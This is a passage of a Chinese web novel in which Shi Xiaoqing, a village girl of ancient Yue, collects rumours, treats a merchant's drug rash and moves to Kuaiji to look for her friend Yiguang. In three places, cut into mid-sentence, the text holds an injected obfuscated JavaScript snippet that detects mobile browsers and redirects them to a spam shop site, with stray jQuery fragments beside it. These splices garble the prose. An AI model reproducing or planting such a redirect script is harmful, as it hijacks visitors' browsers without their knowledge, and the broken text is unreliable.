阿母沉默了很久,最后反手握住她的手,轻轻拍了拍:“罢了罢了,你从小就倔,我说不过你。只是……你答应阿母,别把自己累坏了。你那脸色,比那药草还青。” 施晓青笑了:“好。” 吃过饭,阿母去邻居家串门了。施晓青收拾好碗筷,回到自己的小屋,从床底下摸出那叠桑树皮。 两个月的积累,已经厚厚一摞了。 她一张一张地翻看,用炭笔在新的一张上记录今天的收获—— “李叔之子,镇上谋事,管事者不详,疑似与城中商贾往来。待查。” “陈氏母鸡连下六蛋,村中议论纷纷,无他。” “里正三丫头许配屠户,不乐,哭闹。无关。” 她写下最后四个字时,笔尖顿了顿。 无关吗? 这村里的大部分事,确实与她无关。可她还是记下来了。每一件都记。因为她还不知道,哪些有用,哪些没用。她只能把所有能得到的碎片都收集起来,像拼图一样,等有一天,或许能拼出什么。 她又翻到前面,看着那些密密麻麻的记录—— “某月某日,货郎孙氏言:会稽城修馆舍,规模甚大,疑为接待吴国来客。” “某月某日,脚夫王氏言:越国与吴国边境似有摩擦,商旅减少,关卡查验更严。” “某月某日,行商刘氏言:吴王夫差近日宠信一女子,名不详,但听闻极美,吴王为其筑姑苏台。” 这一条,她当时看了很久很久。 极美的女子。吴王为其筑台。 那是夷光吗?还是……别的什么人? 她把那条记录看了无数遍,试图从那些模糊的字眼里找到答案。可她找不到。信息太少了,像隔着一层厚厚的雾气,什么都看不清。 最后她在那条记录旁边,用密码文字写下一行小字: “夷光,那是你吗?你还好吗?” 没有人回答她。 她把桑树皮收好,重新藏回床底。 走出屋子,天已经黑了。雨停了,但云层还是很厚,看不见星星。 施晓青站在院子里,从怀里摸出那根编了一半的带子,继续编。 手指在黑暗中摸索着,一扣,一扣,一扣。 她编得很慢,但每一扣都很紧。 这带子,她也不知道要编多长。也许编到夷光回来那天,也许编到永远。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486888|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没关系。她有耐心。 风吹过来,带着泥土和枯草的气息,凉飕飕的。她裹紧那件翠儿送来的旧棉袄,继续编。 远处,不知谁家的狗叫了几声,又安静下来。 整个苎萝村都睡了。只有她还醒着。 只有她手里的麻线,在黑暗中,一扣一扣地,把那些说不出口的牵挂,编进这无边无际的夜里。 三天后,翠儿来了。 “打听清楚了!”她一进门就嚷嚷,脸上带着得意的神色,“那个管事,姓周,是城里一个布庄的掌柜。李叔家的儿子去给他搬货,被看上了,说年后就带去城里当学徒。” “布庄?”施晓青放下手里的药杵,“哪个布庄?” “叫什么……陶朱记。”翠儿想了想,“对,就是陶朱记。听说是个挺大的布庄,在城里有好几间铺面呢。” 施晓青的手猛地握紧了药杵。 陶朱记。 范蠡。 “阿青?你怎么了?”翠儿看着她突然变了的脸色,吓了一跳,“你脸色好难看,是不是不舒服?” “没事。”施晓青深吸一口气,强迫自己镇定下来,“翠儿,你确定是陶朱记?” “确定啊,李婶亲口说的,还得意得不行呢。”翠儿歪着头看她,“这个布庄怎么了?你认识?” “不认识。”施晓青摇头,“就是……听说过。” 她当然听说过。 那日在山里,范蠡说过——“他日若遇难处,可凭此物往会稽城西‘陶朱记’寻个方便。” 那块玉珏,她没有要。 可如今,陶朱记的手,已经伸到苎萝村来了。 这次是来找李叔的儿子,下一次,会不会是别人? 范蠡在布网。 一张很大的网,网住那些有用的、能为他所用的人。 而她呢? 她也在布网。 一张看不见的、细细密密的网,用那些琐碎的信息、用那些不起眼的草药、用那些看似无用的邻里关系,一点一点地编织。 她不知道这张网能有多大,能撑多久,能在关键时刻兜住什么。 但她知道,她不能停。 “翠儿,”她开口,“谢谢你。” “又谢。”翠儿翻了个白眼,“你就不能跟我客气点?” 施晓青笑了笑,从屋里拿出一个小陶罐,递给她:“这是我新做的薄荷膏,擦蚊虫叮咬的,也能提神。给你阿母用。” 翠儿接过,打开闻了闻,一股清凉的薄荷味扑面而来,舒服得她眯起眼:“好香!你怎么什么都会做?” “学的。” “跟谁学的?” 施晓青顿了顿,目光不自觉地飘向那条空荡荡的村路。 “跟一个……朋友。”她说。 翠儿看着她,忽然安静下来。 “阿青,”她轻声说,“你是不是……特别想她?” 施晓青没有回答。 她只是转过身,继续捣她的药。 药杵落在石臼里,发出沉闷的、有节奏的声响。 咚,咚,咚,像心跳。 像远方某个人的脚步声。 像那些被编进麻绳里的、说不出口的思念,一扣一扣,敲在这个冬天最冷的日子里。 翠儿站了一会儿,见她不说话,轻轻叹了口气,抱着陶罐走了。 院子里又只剩下施晓青一个人。 她放下药杵,从怀里摸出那根编了一半的带子,已经编了很长了。 她用手指量了量,从这头到那头,刚好是她双臂展开的长度。 够了。 她把带子折起来,小心翼翼地收进怀里,贴着心口的位置。 然后她拿起炭笔,在那叠桑树皮的最新一页上,写下几行字: “陶朱记布庄,管事姓周,在会稽城有数间铺面。与范蠡有关。” “李叔之子年后将往,或可成为消息来源之一。” …… 她放下炭笔,看着窗外漆黑的夜。 夷光,你那边,应该也入冬了吧? 你会不会冷?有没有人给你添衣裳? 你还留着那些薄荷叶吗?还记不记得那些字? 她闭上眼,在黑暗中,慢慢地,一个字一个字地在心里念: 我在,我一直都在。 风从窗缝里钻进来,冷得她打了个哆嗦。 但她没有动,她就那么坐着,在黑暗中,守着那叠桑树皮,守着那根带子,守着那个远在会稽城的名字。 像守着一盏灯。 一盏很小很小的、在无边的黑夜里,怎么也不肯灭的灯。 14. 启程 冬天深了。 苎萝村的阴雨终于停歇,取而代之的是彻骨的干冷。清晨的草叶上结着白霜,溪边浣纱的妇人们缩手缩脚,呵出的白气在空气中凝成一团,又迅速散去。 施晓青却比以往更忙了。 她的草药摊子,已经不止于苎萝村。 消息是从货郎孙老三那里传出去的—— 苎萝村有个姑娘,懂些草药,治好了不少人的小毛病,分文不取,只爱听人说外头的事。 这话传到镇上,传到更远的村子里,渐渐有人专程来找她。 一个腿脚不便的老汉,拄着拐杖走了半日山路,就为了让她看看膝盖上那个常年流脓的疮。 施晓青用金银花、蒲公英根和野菊花熬成膏,给他敷上,又包了一包干药让他带回去。老汉千恩万谢,从怀里摸出几个铜钱,她没收,只让他坐下喝碗水,说说路上的见闻。 老汉喝了水,说了半日的话。说镇上来了新县令,年轻,据说很有几分手段;说官道上的关卡又多了,盘查得紧,好像是怕什么人混进来;说他路过的一个村子,前阵子被征了好几个壮丁,送去修什么城墙。 施晓青一一记下。 她的话越来越少,记的东西越来越多。那叠桑树皮已经换了好几次,从薄薄的一摞变成厚厚的一捆,藏在床底最深处,连阿母都很少去看。 翠儿隔三差五地来,带着各种各样的消息,大多是村里镇上的闲话,偶尔也有些有用的。 李叔家的儿子已经去了会稽城,在陶朱记布庄当学徒,头一封信回来,说掌柜待他不错,管吃管住,每月还有几十个钱。 “李婶高兴得见人就显摆。”翠儿撇撇嘴,“好像她儿子已经当了大官似的。” 施晓青没接话,只是把那封信的事记在心里。 陶朱记。 范蠡。 她一直在想,要不要用那个机会。 范蠡说过,若遇难处,可去陶朱记寻个方便。可她拿什么去?那日没有接玉珏,如今贸然找上门,凭什么让人相信她?何况,她现在的身份不过是一个懂些草药的村女,就算见了范蠡,又能说什么? 她需要更有分量的东西。 需要让范蠡觉得,她这个人,值得他花时间见一面。 * 腊月初九,天刚亮,院门被人拍得山响。 施晓青披衣出来,看见门外站着两个陌生男子,一老一少,穿着厚实的棉袍,像是有些身份的人。 那年长的面色焦急,见到她就问:“你就是施晓青?会治病的那个?” “略懂些草药,不敢说治病。”施晓青打量着他们,“二位是——” “我家主人病了。”那年长的打断她,“镇上、城里的郎中都看过了,不见好。有人提起你,说你有些土方子,治好了不少人。请你跟我们走一趟。” “你家主人是谁?” “你去了就知道。” 施晓青站着没动。 那年长的急了:“姑娘,救人如救火,你还有什么顾虑?” “我总得知道,要给谁看病。”施晓青不紧不慢地说,“什么症状,病了几日,用过什么药。这些不问清楚,我不敢去。” 年长的愣了一下,似乎没想到一个村女会问出这些话。他犹豫片刻,压低声音:“我家主人是……镇上开粮行的周掌柜。病了七八日了,发热不退,浑身起疹子,又痒又痛。请了好几个郎中,有的说是风寒,有的说是热毒,开的药吃了都不管用。昨夜又烧起来,人都迷糊了。” 周掌柜。施晓青在脑子里搜刮了一下,隐约记得翠儿提过这个名字——镇上最大的粮行,跟县衙的人有来往,消息灵通。 “我去。”她说,“但我有几样药要带上,得容我收拾一下。” “好好好,你收拾,我们等你。” 施晓青转身进屋,动作很快。她把常用的几味药各包了一些,又带上一小罐自己熬的薄荷膏,最后犹豫了一下,从床底抽出那叠桑树皮里最新的一张,折好,塞进怀里。 走之前,她去跟阿母说了一声。阿母正坐在灶房里择菜,听她说要去镇上给人看病,手里的菜叶掉在地上。 “你……你要去镇上?” “嗯,很快就回来。” 阿母看着她,嘴唇动了动,想说什么,最终只是叹了口气:“你小心些。” “知道了。” 马车已经在门外等着了。 施晓青爬上车,那年长的坐在前面赶车,年轻的那个跟在车旁。车轮碾过冻硬的土路,发出咯吱咯吱的声响。 苎萝村在身后越来越小,渐渐缩成一个小小的点,最后被一片枯黄的树林吞没。 施晓青掀开车帘,看着外面掠过的田野、山丘、稀稀落落的村庄。这条路,夷光走过。她坐的也是这样的马车,也是这样的冬天,也是这样灰蒙蒙的天。 她忽然觉得,自己离夷光近了一些。 不是距离上的近——会稽城还在很远很远的地方。是那种……走同一条路、看同一片天的近。 马车走了大半个时辰,到了镇上。 镇子比苎萝村大了不知多少倍,青石板路两旁是鳞次栉比的铺面,卖布的、卖粮的、卖杂货的,虽然比不上一月一次的大集热闹,但也人来人往,颇有几分气象。 施晓青记下几间铺面的名字,目光在“陶朱记”三个字上停了一瞬,那间布庄门面不小,进出的客人也不少。 马车在镇子东头一处大宅前停下。宅门气派,门前蹲着两只石狮子,门楣上挂着“周府”的匾额。 施晓青跟着那年长的进了门,穿过前院、中院,最后在一间满是药味的卧房前停下。 床上躺着个四十来岁的男人,面色潮红,呼吸粗重,露在外面的手臂上布满了红色的疹子,有些已经被抓破了,渗着血丝。 床边坐着一个妇人,眼睛哭得红肿,见施晓青进来,上上下下打量了她一番,脸上的失望几乎藏不住。 “就……就她?”妇人看向那年长的,“一个黄毛丫头,能行吗?” “夫人,”年长的为难地说,“城里的郎中都请遍了,实在没法子——” “那就再请!”妇人的声音尖利起来,“请不到就去找!我男人要是有什么三长两短——” “夫人。”施晓青开口了,声音不大,却让那妇人一愣,“我先看看周掌柜的症状。若是我治不了的,我立刻走,不耽误你们请别人。” 妇人张了张嘴,被她的镇定噎住了,最终哼了一声,让到一边。 施晓青走到床边,先看了看周掌柜的脸色,又看了看那些疹子的分布和形态,最后伸手探了探他的额头——烫得吓人。 “这些疹子,是先出的还是后出的?一开始是什么样子?” 妇人和那年长的你一句我一句地说起来。施晓青一边听,一边在脑子里飞快地比对。 发热,出疹,瘙痒,用过多种药无效,病情持续七八日…… 可能不是风寒,不是热毒,而是——药疹。或者说,是用药不当引起的过敏反应。 在现代,这是常识。可在这个时代,郎中们只知对症下药,发热便用发散之药,出疹便用清热之品,几味药叠加在一起,若恰好有病人过敏的,只会越治越重。 “之前用的药方,还有吗?” 妇人从柜子里翻出一叠药方,递给她。 施晓青一张一张地看,虽然看不太懂那些复杂的药材配伍,但她认出了几味常见的——麻黄、桂枝、荆芥……都是辛温发散之物。对于一个本就在发热的病人,再用这些,无异于火上浇油。 “这些药,不能再吃了。”她放下药方。 “你说不能吃就不能吃?”妇人瞪起眼睛,“那些可都是城里郎中的方子!” “夫人的意思是,让周掌柜继续吃下去,等那些疹子长满全身?”施晓青看着她,语气不卑不亢。 妇人噎住了。 施晓青没有再跟她争辩,而是转向那年长的:“我需要一些东西。干净的布,温水,盐,还有……绿豆。” “绿豆?” “对。越多越好。” 那年长的虽然疑惑,但见她胸有成竹的样子,还是赶紧让人去准备了。 施晓青打开自己带来的药包,挑出几样——金银花、连翘、薄荷、甘草。这些都不是什么贵重药材, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486889|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但清热解毒、疏风散热,正是眼下需要的。 “先用盐水给周掌柜擦身,尤其是疹子多的地方,动作要轻,别把疹子弄破了。擦完之后用干净的布擦干,不要着凉。” 她一边说,一边把那些药材配好,“这个拿去煮水,煮开之后小火再熬一刻钟,滤出药汁,放温了给周掌柜喝。不要一次喝太多,分次喂。” “绿豆呢?”那年长的问。 “绿豆煮汤,不要放别的,煮到豆子开花,汤色发绿。那个汤给周掌柜当水喝,能喝多少喝多少。” 她顿了顿,又说:“还有,把屋里那些药都撤了,窗户开一条缝,透透气。这屋里药味太浓,病人也受不了。” 那年长的连连点头,吩咐人去办。 妇人站在一旁,脸色难看,但见施晓青安排得井井有条,终究没有再说难听的话。 施晓青没有走。她坐在外间的椅子上,等着看周掌柜服药后的反应。不是她不想走,是她不能走。万一出了什么岔子,她得在场。 等待的时间很漫长。她靠着椅背,闭着眼,脑子里却在转别的。 周掌柜、粮行、县衙、消息。 这是她一直在等的机会。 一个能让她接触到镇上、甚至城里消息的渠道。一个比货郎、脚夫、行商更稳定、更可靠的信息来源。 如果这次能治好周掌柜,这个人情…就欠下了。 她睁开眼,目光落在窗外的天色上。灰蒙蒙的,看不出时辰。远处的屋顶上,有炊烟升起,一缕一缕,散在寒风里。 苎萝村这个时候,阿母应该在做饭了。 翠儿大概又会来找她,发现她不在,然后到处打听她去了哪里。 她忽然有些想笑。 一个时辰后,周掌柜醒了。 不是那种迷迷糊糊的清醒,而是真正的、眼神清明的醒来。他看了看床边的妇人,又看了看站在门口的张妈,声音虚弱地问:“我……这是……” “老爷!你醒了!”妇人扑过去,哭得上气不接下气。 施晓青站在门口,没有进去。 她看见周掌柜的脸色还是潮红的,但那种不正常的潮红已经退了一些,呼吸也平稳了许多。疹子没有消退得那么快,但至少没有再蔓延。 “周掌柜,”她在门口说,“药要按时吃,绿豆汤也要继续喝。这几日饮食要清淡,粥、汤、软烂的菜,油腻辛辣的碰都不能碰。若有什么变化,让人来苎萝村找我。” 周掌柜转过头,看着她,目光里有些惊讶:“你是……” “她是给你看病的那个姑娘。”妇人擦了擦眼泪,语气里已经没有之前的敌意,但还是有些不甘,“就她那些……那些土方子。” 周掌柜没有理会妇人的语气,他看着施晓青,点了点头:“多谢姑娘。周某这条命,算是姑娘捡回来的。” “掌柜的言重了。”施晓青微微欠身,“我先回去了。明日再来看看。” “这么晚了,姑娘怎么回去?”周掌柜说,“让老赵套车送你。” “多谢。” 马车再次碾过冻硬的土路。 施晓青靠在车壁上,怀里揣着周家硬塞的一小袋钱和几包点心。她没有推辞,不是因为贪图这些东西,而是知道,收了,这事才算两清。 不,不算两清,还差得远。一个粮行掌柜的人情,不是一小袋钱能还完的。 她掀开车帘,看着外面漆黑的夜。星星出来了,密密麻麻的,像是谁在天上撒了一把碎米。 夷光,你看到这些星星了吗? 你是不是也在某个地方,抬头看着同一片天? 她摸了摸怀里的那袋钱,又摸了摸那叠桑树皮。 快了。 等她攒够了资本,等她有了足够的筹码去见范蠡—— 她就去会稽。 去找夷光。 车轮碾过冻土,咯吱咯吱,像是某种古老的节拍,一下一下,敲在这个深冬的夜里。 苎萝村的灯火在远处若隐若现,小小的,黄黄的,像一颗一颗落在人间的星星。 施晓青看着那些灯火,忽然觉得,这漫漫长路,好像也没有那么远了。 15. 会稽 周掌柜的病情,比施晓青预想的恢复得更快。 三日后,她再次被马车接到镇上时,周掌柜已经能下床走动了。疹子消退了大半,热也退了,只是人还有些虚。 他坐在堂屋里,披着一件厚棉袍,面前摆着热茶和点心,见施晓青进来,便要起身行礼。 “周掌柜别动。”施晓青快步上前,按住他的肩膀,“您身子还没好利索,别折腾。” “姑娘是我的救命恩人,这礼,该行。”周掌柜执意拱了拱手,才重新坐下。 他看着施晓青,目光里带着几分审视,更多的是感激,“姑娘年纪轻轻,却有这般本事,实在难得。那些城里来的郎中,诊金收得不少,开的药却差点要了我的命。倒是姑娘那些……土方子,把我从鬼门关拉了回来。” 施晓青在旁边的椅子上坐下,接过丫鬟递来的热茶,抿了一口:“周掌柜过奖了。我不过是凑巧知道些旁人不知道的法子罢了。” “凑巧?”周掌柜笑了,“这世上哪有那么多凑巧。姑娘的本事,是实打实的。” 他顿了顿,端起茶杯,似乎在想什么。 片刻后,他放下杯子,正色道:“姑娘,你救了我的命,我周某人不是忘恩负义的人。你若有需要我帮忙的地方,尽管开口。只要我做得到的,绝不含糊。” 施晓青端着茶杯的手微微一顿。 她等的,就是这句话。 “周掌柜客气了。”她放下杯子,迎上他的目光,“我确实……有件事想麻烦您。” “说。” “我想去会稽城。” 周掌柜愣了一下:“会稽城?” “是。”施晓青的声音平稳,像是在说一件再寻常不过的事,“我从小在苎萝村长大,没出过远门。我想去外面看看,长长见识。听说会稽城是越国最繁华的地方,我想……” “你想去会稽城做什么?”周掌柜打断她,目光里多了几分探究,“姑娘不是那种贪慕虚荣的人。你要去会稽,一定有你的理由。” 施晓青沉默了片刻。 她知道,周掌柜是个聪明人。聪明人面前,不能撒谎,但也不必全说真话。 “我有一个朋友,”她慢慢地说,“她去了会稽。我想知道她过得好不好。” 周掌柜看着她,没有追问。 “就这些?” “就这些。” 周掌柜端起茶杯,喝了一口,放下,又端起来,再放下。如此反复了几次,终于点了点头。 “巧了。”他说,“我过几日正好要去会稽城,粮行有一批货要送,还有些账目要跟那边的合作伙伴对。若姑娘不嫌弃,可以跟我一道。” 施晓青的心跳快了一拍,面上却不动声色:“那会不会太麻烦周掌柜了?” “麻烦什么。”周掌柜摆摆手,“你救了我的命,我带你一程,这算什么麻烦。只是——”他顿了顿,“姑娘去会稽,打算住哪里?做什么营生?” “住的地方,还想请周掌柜帮忙留意。”施晓青说,“至于营生……我会些草药,懂些调理的法子,到了城里,或许能找到事做。” 周掌柜想了想:“我有个远房亲戚,在会稽城南开了间小铺子,卖些杂货。铺子后面有个小院子,空着一间屋。你若是不嫌弃,可以先住那里。至于营生……姑娘的本事,到了城里不愁没人找。” “多谢周掌柜。”施晓青站起来,郑重地行了一礼。 “别别别,”周掌柜连忙摆手,“你救我命,我帮你找个住处,扯平了。别动不动就行礼,我受不起。” 施晓青重新坐下,心里的一块石头落了地。 会稽城。 她要去会稽城了。 离夷光,又近了一步。 马车在五日后出发。 施晓青只带了一个包袱。里面是几件换洗的衣裳,那叠厚厚的桑树皮,那根编了很久的麻绳带子,以及几包最常用的草药。 阿母站在院门口,眼圈红红的,却忍着没哭。 “到了那边,记得写信回来。”阿母的声音有些哑,“别……别逞强,有什么事,就回来。” “知道了,阿母。” 施晓青抱了抱她,感觉到阿母瘦削的身体在微微发抖,“等我安顿好了,就给你写信。你要照顾好自己,那些药我放在灶房柜子里了,用法都写在树皮上,你看不懂就让翠儿念给你听。” “你呀……”阿母终于忍不住,眼泪掉了下来,“总是惦记别人,就不惦记惦记自己。” 施晓青笑了笑,没有接话。 翠儿站在一旁,已经哭得稀里哗啦了。她从怀里掏出一个布包,塞到施晓青手里: “这是我给你做的鞋垫,你路上用。还有……还有我阿母腌的咸菜,你带着,城里的东西贵,能省就省。” 施晓青接过,鼻子有些酸。 “翠儿,谢谢你。” “谢什么谢!”翠儿抹了把眼泪,“你到了那边,要写信给我。要是不写,我就……我就去会稽城找你!” “好。” 施晓青上了马车,掀开车帘,最后看了一眼苎萝村。 那些低矮的茅屋,那条空荡荡的村路,那棵老槐树光秃秃的枝丫,还有站在院门口的阿母和哭成泪人的翠儿。 她看了很久,直到那些熟悉的一切都消失在路的尽头。 周掌柜坐在车厢里,见她放下车帘,递过来一个热乎乎的饼子:“吃点东西吧,路还长着呢。” “多谢。”施晓青接过饼子,咬了一口。饼子是粗粮做的,有些硬,但嚼起来很香。 马车在官道上走了整整两天。 第一天,施晓青大部分时间都在看外面的风景。田野、山丘、河流、村庄,一切都在向后飞掠。偶尔有骑马的人从车旁经过,扬起一阵尘土,又消失在远处。 第二天,她不再看了。她靠着车壁,闭着眼,脑子里一遍一遍地过着那些桑树皮上的信息。 会稽城的情况,她知道的并不多。货郎孙老三和那些行商说的,大多是些零碎的、不成体系的消息。但她从那些碎片里,拼凑出了一个大概的轮廓—— 会稽城很大,分为内城外城。内城是王宫和贵族住的地方,普通人进不去。外城是平民和商贾聚集之地,鱼龙混杂,什么人都有。 范蠡的府邸在内城,但陶朱记布庄在外城。那个布庄,是范蠡用来敛财和打探消息的掩护。 夷光应该在内城的某个地方。那些被选中的女子,不会住在普通人能接触到的地方。 所以,她不能直接去找夷光。 她需要先在外城站稳脚跟,然后慢慢地、一点一点地…… 马车在第二日傍晚抵达会稽城。 施晓青掀开车帘,看见高大的城墙在暮色中投下巨大的阴影。 城门洞开着,进出的行人络绎不绝,有挑担的货郎,有骑马的商贾,有坐轿的贵妇人,也有衣衫褴褛的乞丐。 城门口站着几个兵士,懒洋洋地检查着来往的行人和车辆。轮到她们的马车时,兵士掀开车帘看了一眼,见是女眷,便挥挥手让她们过去了。 马车进了城,施晓青的眼睛几乎不够用了。 街道比镇上的宽了不知多少倍,两旁是密密麻麻的铺面,卖布的、卖粮的、卖药的、卖首饰的、卖香料的……招牌林立,灯火通明。街上的人摩肩接踵,说话声、叫卖声、车马声混成一片,热闹得不像话。 “这是外城最热闹的一条街。”周掌柜说,“再往里走,就是内城了,普通人进不去。你的住处在外城南边,安静些,但也偏僻些。” “偏僻些好。”施晓青说,“我不喜欢太吵。” 马车穿过几条街,拐进一条窄巷,在一间小铺子前停下。 铺子不大,门脸旧旧的,上面挂着一块褪色的招牌,写着“李记杂货”。铺子里点着一盏油灯,昏黄的光透过门缝漏出来。 周掌柜下了车,上前敲了敲门。 不一会儿,门开了,一个五十来岁的男人探出头来,看见周掌柜,愣了一下,随即笑了起来:“表哥?你怎么来了?不是说后日才到吗?” “路上顺,提前到了。”周掌柜拍拍他的肩膀,“老李,我给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486890|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你带了个人。” 他侧过身,指了指身后的施晓青:“这是施姑娘,我的救命恩人。要在会稽城住些日子,你那个空屋子,先借给她住。” 老李上下打量了施晓青一番,目光里带着几分好奇,但还是笑着点了点头:“表哥的恩人,就是我的恩人。进来吧,屋里乱,别嫌弃。” “多谢李叔。”施晓青提着包袱,跟着进了屋。 铺子不大,前面是店面,后面是一个小小的院子。院子里堆着些杂货,角落有一口水井,还有一间小小的厢房。 “就是这间。”老李推开厢房的门,里面有一张床、一张桌子、一把椅子,虽然简陋,但还算干净。 “很好。”施晓青把包袱放在床上,转身对老李道谢,“麻烦李叔了。” “不麻烦不麻烦。”老李摆摆手,“你先收拾着,我去给你们做饭。表哥难得来,得好好喝两杯。” 老李出去了,周掌柜站在门口,对施晓青说:“姑娘先住下,有什么需要就跟老李说。我在会稽城还要待几日,办完事就回去。姑娘若是想回去,到时候可以跟我一道。” “多谢周掌柜。”施晓青说,“我想先在城里看看,过些日子再说回去的事。” 周掌柜点了点头,没有多问,转身去了前院。 施晓青关上门,把包袱里的东西一样一样拿出来。 衣裳叠好,放进床头那个简陋的木柜里。桑树皮和麻绳带子,藏在床板下面。草药包放在桌上,打开,一样一样检查过,确认没有受潮,才重新包好。 最后,她从包袱底部摸出一个小小的布包。 打开,里面是几片已经干透的薄荷叶。 那是她留给自己的。 她拿起一片薄荷叶,放在鼻子底下闻了闻。 清苦的香气,熟悉得让人想哭。 夷光,我来了。 我到了会稽城了。 你在这里吗?你在哪个方向?你离我,有多远? 她把薄荷叶小心地放回布包里,贴身收好。 然后她坐在床边,看着窗外渐渐暗下来的天。 会稽城的夜空,比苎萝村的小。星星被城墙和屋檐遮住了大半,只有几颗最亮的,在头顶微微闪烁。 但她知道,夷光就在这片夜空下的某个地方。 呼吸着同样的空气,看着同样的星星。 这就够了。 第二天一早,施晓青就起来了。 她帮着老李收拾店面,摆货、扫地、擦柜台,手脚麻利,一点也不像个客人。老李看在眼里,对她的印象又好了几分。 “施姑娘,你不用这么客气。”老李说,“你是客人,哪能让你干活。” “李叔收留我,我干点活是应该的。”施晓青擦着柜台,头也不抬,“再说,我闲着也是闲着。” 老李笑了笑,没有再拦。 吃过早饭,施晓青跟老李说想去街上走走,认认路。老李给她指了方向,又叮嘱她别走太远,天黑前回来。 施晓青出了门,沿着昨天来的那条路,慢慢地走。 她没有目的,只是走。 看那些铺面的招牌,记它们的位置。看那些行人的衣着和神态,猜他们的身份。听那些叫卖声和讨价还价声,从中捕捉有用的信息。 走了大约半个时辰,她停在一间布庄门前。 门面很大,招牌上写着三个大字——陶朱记。 施晓青站在门口,没有进去。 她看着那三个字,看了很久。 然后她的目光落在布庄里面一个正在搬货的年轻伙计身上。 那伙计生得黝黑壮实,穿着短褐,满头大汗地把一匹匹布从库房搬到店面。 李叔的儿子。 那个从苎萝村来的、在陶朱记当学徒的年轻人。 施晓青没有上前打招呼。她只是站在街对面,看着那个忙碌的身影,记下了他进出的时间、和哪些人说话、掌柜的模样、客人进出的频率。 然后她转身,继续往前走。 不急。 路还长着。 16. 城南施姑娘 才二月,城南墙根的野草已经冒出嫩绿的芽尖,巷口那棵老槐树也缀满了细碎的绿叶。 风从城外吹来,带着泥土翻新的气息,比起冬天那种割脸的冷,这风润润的、软绵绵的。 施晓青站在李记杂货铺门口,把一块写满了字的木板挂在门边。 木板上歪歪扭扭地写着几个字—— “草药·调理·小恙可询”。 字是她自己用木炭写的,谈不上好看,但清晰。木板是老李帮她找的,旧货架拆下来的,边角磨得光滑,不扎手。 “施姑娘,你这字……”老李从铺子里探出头来,看了一眼,欲言又止。 “不好看?”施晓青拍拍手上的灰。 “也不是不好看,就是……”老李挠挠头,“人家药铺的招牌都是请秀才写的,你这……” “李叔,我又不开药铺。”施晓青笑了,“我就是卖点草药,帮邻里看看小毛病。写得太正经,反倒吓着人。” 老李想了想,觉得也有道理,便没再说什么。 挂牌的第一天,没有客人。 第二天,也没有。 施晓青不急。她每天照常帮老李看铺子,招呼来买杂货的客人,顺手把柜台旁边那个小角落整理得干干净净。 她从镇上药材行进的几味常用药——薄荷、紫苏、金银花、甘草、艾草——分门别类地码在小陶罐里,罐口用布封着,贴着写了药名的纸条。 老李的杂货铺卖的是针头线脑、油盐酱醋,来的都是街坊邻居。施晓青跟每个人都笑脸相迎,不多话,但该说的都说在点子上。 “张大嫂,你家的孩子是不是又咳嗽了?我这儿有些枇杷叶,拿回去煮水喝,加两粒冰糖,润肺的。不要钱,你先拿回去试试。” “赵叔,你脸色不太好,是不是又熬夜赶车了?我这儿有薄荷,你含一片提提神,别硬撑着。” “刘家阿婆,你的腿还疼不疼?我给你留了些艾草,拿回去煮水泡脚,能祛寒。” 开始没人当回事。一个十五六岁的姑娘,懂什么? 但慢慢地,有人试了。 张大嫂家的孩子喝了枇杷叶水,咳嗽确实轻了。赵叔含了薄荷片,赶车时不再犯困。刘家阿婆泡了艾草水,腿疼缓解了不少。 消息在城南的街巷里传开了。 “李记杂货铺那个姓施的姑娘,会看病,还不要钱。” “真的假的?” “真的!我家孩子的咳嗽就是她治好的,就几片叶子,没收一个钱。” “那我也去看看,我这头疼好些日子了……” 人开始来了。 先是三三两两,后来渐渐多了起来。 施晓青每天早上开门,门口已经有人在等着。她一个一个地看,仔细问症状,不逞强,能治的就给药,不能治的就直说,让去找真正的郎中。 她坚持不收诊金。药材的成本低,她从那袋周掌柜给的钱里匀出一部分进货,偶尔收些鸡蛋、青菜、几个铜板,也够维持了。 “施姑娘,你这样下去,自己吃什么?”老李看不下去了,偷偷跟她说,“你总不能一直往里贴钱。” “李叔,我有数的。”施晓青一边捣药一边说,“等大家信我了,自然有人愿意给钱。现在刚起步,不着急。” 老李叹了口气,没有再说。 他心里清楚,这个姑娘来会稽城,不是为了开药铺赚钱的。 她一定有别的目的。 但有些事,不知道比知道好。 施晓青的病人,大多是城南的普通百姓。 卖菜的、赶车的、跑腿的、帮佣的、做小买卖的……都是些在生存线上挣扎的人,生不起大病,小病小痛又舍不得花钱看郎中。施晓青的草药摊子,正好填补了这个空白。 她对待每个病人都很耐心,不敷衍,不嫌弃。那些身上有异味的、衣衫褴褛的、说话粗鲁的,她都一视同仁。 